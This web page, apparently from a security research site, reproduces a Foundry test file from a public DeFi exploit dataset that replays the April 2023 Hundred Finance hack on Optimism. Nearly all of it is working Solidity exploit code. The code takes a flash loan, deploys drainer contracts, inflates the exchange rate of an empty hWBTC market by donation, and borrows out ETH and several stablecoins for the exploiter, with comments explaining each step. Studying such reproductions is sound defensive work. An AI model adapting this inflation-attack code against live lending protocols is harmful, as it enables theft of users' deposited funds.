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Public reproduction file

src/test/2023-04/HundredFinance_2_exp.sol

Public reproduction file for dataset entry HundredFinance.

CodeContractsTransactions

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-04/HundredFinance_2_exp.sol326 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/peckshield/status/1647307128267476992
9// https://twitter.com/danielvf/status/1647329491788677121
10// https://twitter.com/hexagate_/status/1647334970258608131
11// @TX
12// https://optimistic.etherscan.io/tx/0x6e9ebcdebbabda04fa9f2e3bc21ea8b2e4fb4bf4f4670cb8483e2f0b2604f451
13// @Summary
14// https://blog.hundred.finance/15-04-23-hundred-finance-hack-post-mortem-d895b618cf33
16interface IChainlinkPriceOracleProxy {
17    function getUnderlyingPrice(
18        address cToken
19    ) external view returns (uint256);
22contract contractTest is Test {
23    IERC20 WBTC = IERC20(0x68f180fcCe6836688e9084f035309E29Bf0A2095);
24    IERC20 USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
25    IERC20 SNX = IERC20(0x8700dAec35aF8Ff88c16BdF0418774CB3D7599B4);
26    IERC20 sUSD = IERC20(0x8c6f28f2F1A3C87F0f938b96d27520d9751ec8d9);
27    IERC20 USDT = IERC20(0x94b008aA00579c1307B0EF2c499aD98a8ce58e58);
28    IERC20 DAI = IERC20(0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1);
29    ICErc20Delegate hWBTC = ICErc20Delegate(0x35594E4992DFefcB0C20EC487d7af22a30bDec60);
30    crETH CEther = crETH(0x1A61A72F5Cf5e857f15ee502210b81f8B3a66263);
31    ICErc20Delegate hSNX = ICErc20Delegate(0x371cb7683bA0639A21f31E0B20F705e45bC18896);
32    ICErc20Delegate hUSDC = ICErc20Delegate(0x10E08556D6FdD62A9CE5B3a5b07B0d8b0D093164);
33    ICErc20Delegate hDAI = ICErc20Delegate(0x0145BE461a112c60c12c34d5Bc538d10670E99Ab);
34    ICErc20Delegate hUSDT = ICErc20Delegate(0xb994B84bD13f7c8dD3af5BEe9dfAc68436DCF5BD);
35    ICErc20Delegate hSUSD = ICErc20Delegate(0x76E47710AEe13581Ba5B19323325cA31c48d4cC3);
36    ICErc20Delegate hFRAX = ICErc20Delegate(0xd97a2591930E2Da927b1903BAA6763618BD7425b);
37    IUnitroller unitroller = IUnitroller(0x5a5755E1916F547D04eF43176d4cbe0de4503d5d);
38    IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
39    address HundredFinanceExploiter = 0x155DA45D374A286d383839b1eF27567A15E67528;
40    IChainlinkPriceOracleProxy priceOracle = IChainlinkPriceOracleProxy(0x10010069DE6bD5408A6dEd075Cf6ae2498073c73);
42    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
44    function setUp() public {
45        cheats.createSelectFork("optimism", 90_760_765);
46        cheats.label(address(WBTC), "WBTC");
47        cheats.label(address(USDC), "USDC");
48        cheats.label(address(SNX), "SNX");
49        cheats.label(address(sUSD), "sUSD");
50        cheats.label(address(USDT), "USDT");
51        cheats.label(address(DAI), "DAI");
52        cheats.label(address(hWBTC), "hWBTC");
53        cheats.label(address(CEther), "CEther");
54        cheats.label(address(hSNX), "hSNX");
55        cheats.label(address(hUSDC), "hUSDC");
56        cheats.label(address(hDAI), "hDAI");
57        cheats.label(address(hUSDT), "hUSDT");
58        cheats.label(address(hSUSD), "hSUSD");
59        cheats.label(address(hFRAX), "hFRAX");
60        cheats.label(address(aaveV3), "aaveV3");
61        cheats.label(address(unitroller), "unitroller");
62        cheats.label(address(priceOracle), "ChainlinkPriceOracleProxy");
63    }
65    function testExploit() external {
66        payable(address(0)).transfer(address(this).balance);
67        cheats.startPrank(HundredFinanceExploiter);
68        hWBTC.transfer(address(this), 1_503_167_295); // anti front-run
69        cheats.stopPrank();
70        aaveV3.flashLoanSimple(address(this), address(WBTC), 500 * 1e8, new bytes(0), 0);
72        emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, 18);
73        emit log_named_decimal_uint(
74            "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
75        );
76        emit log_named_decimal_uint("Attacker SNX balance after exploit", SNX.balanceOf(address(this)), SNX.decimals());
77        emit log_named_decimal_uint(
78            "Attacker sUSD balance after exploit", sUSD.balanceOf(address(this)), sUSD.decimals()
79        );
80        emit log_named_decimal_uint(
81            "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
82        );
83        emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());
84    }
86    function executeOperation(
87        address asset,
88        uint256 amount,
89        uint256 premium,
90        address initator,
91        bytes calldata params
92    ) external payable returns (bool) {
93        hWBTC.redeem(hWBTC.balanceOf(address(this)));
95        console.log("1. ETH Drain \r");
96        ETHDrains();
97        console.log("2. SNX Drain \r");
98        tokenDrains(hSNX);
99        console.log("3. USDC Drain \r");
100        tokenDrains(hUSDC);
101        console.log("4. DAI Drain \r");
102        tokenDrains(hDAI);
103        console.log("5. USDT Drain");
104        tokenDrains(hUSDT);
105        console.log("6. SUSD Drain");
106        tokenDrains(hSUSD);
107        console.log("7. FRAX Drain \r");
108        tokenDrains(hFRAX);
110        WBTC.approve(address(aaveV3), type(uint256).max);
111        return true;
112    }
114    function ETHDrains() internal {
115        uint256 _salt = uint256(keccak256(abi.encodePacked(uint256(0))));
116        bytes memory creationBytecode = getETHDrainCreationBytecode(address(CEther));
117        address DrainAddress = getAddress(creationBytecode, _salt);
118        WBTC.transfer(DrainAddress, WBTC.balanceOf(address(this)));
120        ETHDrain ETHDrainer = new ETHDrain{salt: bytes32(_salt)}(CEther);
121        uint256 liquidationRepayAmount = getLiquidationRepayAmount(address(CEther));
122        CEther.liquidateBorrow{value: liquidationRepayAmount}(address(ETHDrainer), address(hWBTC));
123        hWBTC.redeem(1); // Withdraw remaining share from hWBTC
124        console.log("*************************************************");
125        console.log("\r");
126    }
128    function tokenDrains(
129        ICErc20Delegate hToken
130    ) internal {
131        uint256 _salt = uint256(keccak256(abi.encodePacked(uint256(0))));
132        bytes memory creationBytecode = gettokenDrainCreationBytecode(address(hToken));
133        address DrainAddress = getAddress(creationBytecode, _salt);
134        WBTC.transfer(DrainAddress, WBTC.balanceOf(address(this)));
136        tokenDrain tokenDrainer = new tokenDrain{salt: bytes32(_salt)}(hToken);
137        IERC20 underlyingToken = IERC20(hToken.underlying());
138        underlyingToken.approve(address(hToken), type(uint256).max);
139        hToken.liquidateBorrow(address(tokenDrainer), getLiquidationRepayAmount(address(hToken)), address(hWBTC));
140        hWBTC.redeem(1); // Withdraw remaining share from hWBTC
141        console.log("*************************************************");
142        console.log("\r");
143    }
145    function getLiquidationRepayAmount(
146        address hToken
147    ) public view returns (uint256) {
148        uint256 exchangeRate = hWBTC.exchangeRateStored();
149        uint256 liquidationIncentiveMantissa = 1_080_000_000_000_000_000;
150        uint256 priceBorrowedMantissa = priceOracle.getUnderlyingPrice(address(hToken));
151        uint256 priceCollateralMantissa = priceOracle.getUnderlyingPrice(address(hWBTC));
152        uint256 hTokenAmount = 1;
153        uint256 liquidateAmount = 1e18
154            / (
155                priceBorrowedMantissa * liquidationIncentiveMantissa
156                    / (exchangeRate * hTokenAmount * priceCollateralMantissa / 1e18)
157            ) + 1;
158        return liquidateAmount;
159    }
161    function getETHDrainCreationBytecode(
162        address token
163    ) public pure returns (bytes memory) {
164        bytes memory bytecode = type(ETHDrain).creationCode;
165        return abi.encodePacked(bytecode, abi.encode(token));
166    }
168    function gettokenDrainCreationBytecode(
169        address token
170    ) public pure returns (bytes memory) {
171        bytes memory bytecode = type(tokenDrain).creationCode;
172        return abi.encodePacked(bytecode, abi.encode(token));
173    }
175    function getAddress(bytes memory bytecode, uint256 _salt) public view returns (address) {
176        bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
177        return address(uint160(uint256(hash)));
178    }
180    receive() external payable {}
183contract ETHDrain is Test {
184    IERC20 WBTC = IERC20(0x68f180fcCe6836688e9084f035309E29Bf0A2095);
185    ICErc20Delegate hWBTC = ICErc20Delegate(0x35594E4992DFefcB0C20EC487d7af22a30bDec60);
186    IUnitroller unitroller = IUnitroller(0x5a5755E1916F547D04eF43176d4cbe0de4503d5d);
187    crETH CEtherDelegate;
189    constructor(
190        crETH Delegate
191    ) payable {
192        console.log("First step, Deposit a small amount of WBTC to the empty hWBTC pool to obtain shares");
193        CEtherDelegate = Delegate;
194        WBTC.approve(address(hWBTC), type(uint256).max);
195        hWBTC.mint(4 * 1e8);
196        hWBTC.redeem(hWBTC.totalSupply() - 2); // completing the initial deposit, the shares of hWBTC and the amount of WBTC in hWBTC are at a minimum
197        console2.log(
198            "ETHDrain's share in hWBTC:",
199            hWBTC.balanceOf(address(this)),
200            "the WBTC amount in hWBTC:",
201            WBTC.balanceOf(address(hWBTC))
202        );
203        console.log("\r");
205        console.log(
206            "Second step, Donate a large amount of WBTC to the hWBTC pool to increase the exchangeRate(the number of WBTC represented by each share)"
207        );
208        (,,, uint256 exchangeRate_1) = hWBTC.getAccountSnapshot(address(this));
209        console.log("exchangeRate before manipulation:", exchangeRate_1);
210        uint256 donationAmount = WBTC.balanceOf(address(this));
211        WBTC.transfer(address(hWBTC), donationAmount); // "donation" exchangeRate manipulation
212        uint256 WBTCAmountInhWBTC = WBTC.balanceOf(address(hWBTC));
213        (,,, uint256 exchangeRate_2) = hWBTC.getAccountSnapshot(address(this));
214        console.log("exchangeRate after manipulation:", exchangeRate_2);
215        console.log("\r");
217        console.log("Third setp, Lend tokens from the hEther pool and send to exploiter");
218        address[] memory cTokens = new address[](1);
219        cTokens[0] = address(hWBTC);
220        unitroller.enterMarkets(cTokens);
221        uint256 borrowAmount = CEtherDelegate.getCash() - 1;
222        CEtherDelegate.borrow(borrowAmount);
223        payable(address(msg.sender)).transfer(address(this).balance);
224        console.log("\r");
226        console.log("Fouth step, redeem WBTC from the hWBTC pool");
227        uint256 redeemAmount = donationAmount - 1;
228        console.log(
229            "Calculate the amount of shares represented by the redeem amount:",
230            redeemAmount * hWBTC.totalSupply() / WBTCAmountInhWBTC
231        );
232        console.log(
233            "another way of calculating, redeemAmount * 1e18 / exchangeRate:", redeemAmount * 1e18 / exchangeRate_2
234        );
235        console.log(
236            "Due to the inflation attack, the attacker redeems all previously donated WBTC with a calculated share of:",
237            redeemAmount * hWBTC.totalSupply() / WBTCAmountInhWBTC
238        );
239        hWBTC.redeemUnderlying(redeemAmount);
240        console2.log(
241            "after redeem the ETHDrain's share in hWBTC:",
242            hWBTC.balanceOf(address(this)),
243            "the WBTC amount in hWBTC:",
244            WBTC.balanceOf(address(hWBTC))
245        );
246        console.log("\r");
248        console.log("Firth step, send WBTC to exploiter");
249        WBTC.transfer(msg.sender, WBTC.balanceOf(address(this)));
250        console.log("\r");
251    }
253    receive() external payable {}
256contract tokenDrain is Test {
257    IERC20 WBTC = IERC20(0x68f180fcCe6836688e9084f035309E29Bf0A2095);
258    ICErc20Delegate hWBTC = ICErc20Delegate(0x35594E4992DFefcB0C20EC487d7af22a30bDec60);
259    IUnitroller unitroller = IUnitroller(0x5a5755E1916F547D04eF43176d4cbe0de4503d5d);
260    ICErc20Delegate CErc20Delegate;
262    constructor(
263        ICErc20Delegate Delegate
264    ) payable {
265        console.log("First step, Deposit a small amount of WBTC to the empty hWBTC pool to obtain shares");
266        CErc20Delegate = Delegate;
267        WBTC.approve(address(hWBTC), type(uint256).max);
268        hWBTC.mint(4 * 1e8);
269        hWBTC.redeem(hWBTC.totalSupply() - 2); // completing the initial deposit, the shares of hWBTC and the amount of WBTC in hWBTC are at a minimum
270        console2.log(
271            "toeknDrain's share in hWBTC:",
272            hWBTC.balanceOf(address(this)),
273            "the WBTC amount in hWBTC:",
274            WBTC.balanceOf(address(hWBTC))
275        );
276        console.log("\r");
278        console.log(
279            "Second step, Donate a large amount of WBTC to the hWBTC pool to increase the exchangeRate(the number of WBTC represented by each share)"
280        );
281        (,,, uint256 exchangeRate_1) = hWBTC.getAccountSnapshot(address(this));
282        console.log("exchangeRate before manipulation:", exchangeRate_1);
283        uint256 donationAmount = WBTC.balanceOf(address(this));
284        WBTC.transfer(address(hWBTC), donationAmount); // "donation" exchangeRate manipulation
285        uint256 WBTCAmountInhWBTC = WBTC.balanceOf(address(hWBTC));
286        (,,, uint256 exchangeRate_2) = hWBTC.getAccountSnapshot(address(this));
287        console.log("exchangeRate after manipulation:", exchangeRate_2);
288        console.log("\r");
290        console.log("Third setp, Lend tokens from the hToken pool and send to exploiter");
291        address[] memory cTokens = new address[](1);
292        cTokens[0] = address(hWBTC);
293        unitroller.enterMarkets(cTokens);
294        uint256 borrowAmount = CErc20Delegate.getCash() - 1;
295        CErc20Delegate.borrow(borrowAmount);
296        IERC20 underlyingToken = IERC20(CErc20Delegate.underlying());
297        underlyingToken.transfer(msg.sender, borrowAmount); // borrow token and send to exploiter
298        console.log("\r");
300        console.log("Fouth step, redeem WBTC from the hWBTC pool");
301        uint256 redeemAmount = donationAmount;
302        console.log(
303            "Calculate the amount of shares represented by the redeem amount:",
304            redeemAmount * hWBTC.totalSupply() / WBTCAmountInhWBTC
305        );
306        console.log(
307            "another way of calculating, redeemAmount * 1e18 / exchangeRate:", redeemAmount * 1e18 / exchangeRate_2
308        );
309        console.log(
310            "Due to the inflation attack, the attacker redeems all previously donated WBTC with a calculated share of:",
311            redeemAmount * hWBTC.totalSupply() / WBTCAmountInhWBTC
312        );
313        hWBTC.redeemUnderlying(redeemAmount);
314        console2.log(
315            "after redeem the toeknDrain's share in hWBTC:",
316            hWBTC.balanceOf(address(this)),
317            "the WBTC amount in hWBT:C",
318            WBTC.balanceOf(address(hWBTC))
319        );
320        console.log("\r");
322        console.log("Firth step, send WBTC to exploiter");
323        WBTC.transfer(msg.sender, WBTC.balanceOf(address(this)));
324        console.log("\r");
325    }

Analysis

Dataset entry

Public Foundry test for “HundredFinance” (2023-04-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
HundredFinance
Path
src/test/2023-04/HundredFinance_2_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
5397e5c8e9b2f3ad566a6446a0fdc4bf0150586b
Language
Solidity
Size
327 lines
Date
2023-04-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-04/HundredFinance_2_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5397e5c8e9b2f3ad566a6446a0fdc4bf0150586b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.